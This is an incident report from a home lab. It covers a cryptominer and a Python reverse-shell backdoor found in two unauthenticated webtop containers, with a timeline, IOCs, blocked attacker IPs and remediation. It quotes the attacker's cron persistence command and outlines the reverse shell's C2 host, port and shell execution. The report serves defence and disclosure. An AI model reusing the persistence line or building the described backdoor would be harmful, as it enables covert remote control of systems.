family_home_lab/docs/incident-2026-11-11.md

Incident 2026-11-11 — Container compromise (GIMP + LMMS webtops)

Status: CONTAINED (both infected containers stopped) · Host: no evidence of compromise so far Discovered by: GIMP ON/OFF toggle appearing broken + unexplained memory/CPU use

Summary

Two LinuxServer webtop containers were compromised through their unauthenticated, publicly-reachable web desktops:

1. family-home-lab-gimp-1 — cryptominer
2. lmms — reverse-shell backdoor with cron persistence

Both containers were reachable from the public internet with no login (no CUSTOM_USER / PASSWORD set — LinuxServer webtop default = wide open).

Timeline

When	Event
2026-11-05 12:30	GIMP container started (restart: unless-stopped)
2026-11-06 00:00:08	Fake kswapd0 process launched in GIMP (= miner start)
2026-10-26 22:20	/etc/.sys_core/ created in LMMS container
2026-11-11 08:13	LMMS backdoor payload rewritten (attacker active today)
2026-11-11 16:4x	Discovery: GIMP 2.1 GiB RAM / 1079% CPU; both containers stopped

Indicator of Compromise #1 — GIMP cryptominer

Process name : ks<U+FEFF><U+200B>wapd0   (mimics kernel kswapd0)
Parent       : 111599
Started      : Fri Nov 6 00:00:08 2026  (ran 5d 16h)
Resource use : 1079% CPU, 2.112 GiB RSS (13.2% of host RAM)
Binary       : unreadable / deleted after launch (readlink /proc/PID/exe → empty)
Outbound     : 172.67.131.146:443, 203.188.174.67:3222

The genuine kernel thread [kswapd0] (pid 114, in brackets) is unrelated and normal.

Indicator of Compromise #2 — LMMS reverse shell

Persistence (crontab -l inside container), re-launches every 30 min:

*/30 * * * * pgrep -f /etc/.sys_core/system.py >/dev/null || { rm -f /tmp/.sys_core.lock && nohup python3 /etc/.sys_core/system.py >/dev/null 2>&1 & }

Payload: /etc/.sys_core/system.py — Python reverse shell:

SERVER = "84.8.219.196"
PORT   = 4444
# connects out, receives commands, runs them via subprocess.check_output(shell=True),
# returns output; flock lock file /tmp/.sys_core.lock prevents duplicates

• SHA-256 of captured payload: 2befa0c3e6485691d4d58fec75af1e16b1c097a1ac9d2480b386d15de29da1fb
• Evidence: docs/incident-2026-11-11/ (payload, crontab, process list, logs)

Attacker infrastructure (block these)

• 84.8.219.196 — reverse-shell C2, TCP 4444
• 203.188.174.67 — miner endpoint, TCP 3222
• 172.67.131.146 — Cloudflare-fronted, TCP 443 (shared CDN — do not blanket block)

Exposure that allowed entry

Host	Public URL	Auth	State
GIMP	gimp.lab.audasmedia.com.au	none	stopped (was infected)
LMMS	lmms.lab.audasmedia.com.au	none	stopped (was infected)
Video editor	video.lab.audasmedia.com.au	none	running — still exposed
Audio editor	audio.lab.audasmedia.com.au	none	running — still exposed
Console	console.lab.audasmedia.com.au	portal login (303)	OK

Caddy routes these straight to 192.168.20.13:8083/8084/8087/8085 with no basic_auth. Public IP 144.6.86.11 → router → .35 (Caddy).

Data exposure (assume credentials compromised)

GIMP mounted the entire home directory read-only:

/home/sam -> /home/sam (ro)          # readable by attacker: .ssh, .env files, 10-secrets.conf
/home/sam/Downloads -> ... (rw)      # writable
/home/sam/Pictures  -> ... (rw)      # writable
/mnt/data/family-home-lab/shared-media -> /media (rw)

LMMS mounted lmms-config rw and shared-media ro.

The reverse shell executed arbitrary commands as root inside the container for an unknown period, with read access to the whole home directory. Treat anything readable from /home/sam as potentially stolen.

Clean-up performed

• docker stop family-home-lab-gimp-1 — miner killed (2.1 GiB + 11 cores reclaimed)
• docker stop lmms — backdoor + cron watchdog killed
• docker stop video-editor audio-editor — closed the remaining public exposure
• Evidence captured and copied to docs/incident-2026-11-11/
• video-editor / audio-editor checked — no /etc/.sys_core artifact
• All other containers scanned — no miner strings, no deleted-binary processes, no mining-port traffic
• Host checked: no new authorized_keys entries (last modified 2026-10-16), no host crontab, no shell-rc tampering, systemd user units (chrome-pi, tuios, tuios-web) verified legitimate

Remediation applied (2026-11-11)

• Caddy basic_auth added to gimp.lab, lmms.lab, video.lab, audio.lab (reuses the existing (basic-auth) snippet). Verified: all four now return 401 from the public internet. Config backup: /Docker/Containers/caddy/Caddyfile.bak.2026-11-11
• Webtop-native login enabled: CUSTOM_USER=family + PASSWORD (28-char random, in .env on .13, mode 600, git-ignored) on all four webtops — defence in depth behind Caddy
• Infected GIMP rebuilt clean: container removed, family-home-lab_gimp-config volume deleted, recreated from image
• Infected LMMS rebuilt clean: container removed, lmms-config bind quarantined to lmms-config.QUARANTINE-2026-11-11 (kept for inspection), fresh dir recreated
• /home/sam:/home/sam:ro mount removed from the GIMP service (was exposing .ssh and secret files to the container)
• Post-rebuild IOC scan: all four webtops clean (no system.py, no fake kswapd0, no sys_core cron)
• Resource verification: GIMP 2.1 GiB / 1079% CPU → 380 MiB / 0.6% CPU
• Service-controller restarted; all 8 services report accurate state; GIMP stop/start verified end-to-end through the controller

Outstanding / recommended

1. Stop or gate video.lab and audio.lab — still open to the internet, same design flaw.
2. Add authentication to every webtop: CUSTOM_USER + PASSWORD env (webtop native) and Caddy basic_auth in front (defence in depth).
3. Rebuild, don't restart GIMP and LMMS: docker compose rm -sf gimp lmms, delete the gimp-config volume and lmms-config bind, recreate from image. The payloads lived in /etc (ephemeral) but the volumes are untrusted.
4. Rotate secrets readable from /home/sam: 10-secrets.conf, .env files, SSH keys, any API tokens. GIMP had read access for 5 days.
5. Inspect ~/Downloads, ~/Pictures, shared-media for attacker-written files.
6. Remove /home/sam:ro and the rw Downloads/Pictures mounts from the GIMP service.
7. Review voice_intake_watchdog — it mounts docker.sock (host root equivalent by design).
8. Block 84.8.219.196 and 203.188.174.67 at the router/firewall.

Why the console "couldn't turn GIMP off"

Two independent faults:

1. The service-controller was dead (inactive), so Start/Stop requests did nothing. Restarted; /health OK, 8 services.
2. Stop would not have helped anyway — restart: unless-stopped plus the miner being a separate process meant the container kept running; and the card showed Stopped while the container was actually up, because docker inspect gimp used the wrong container name (gimp vs the real family-home-lab-gimp-1).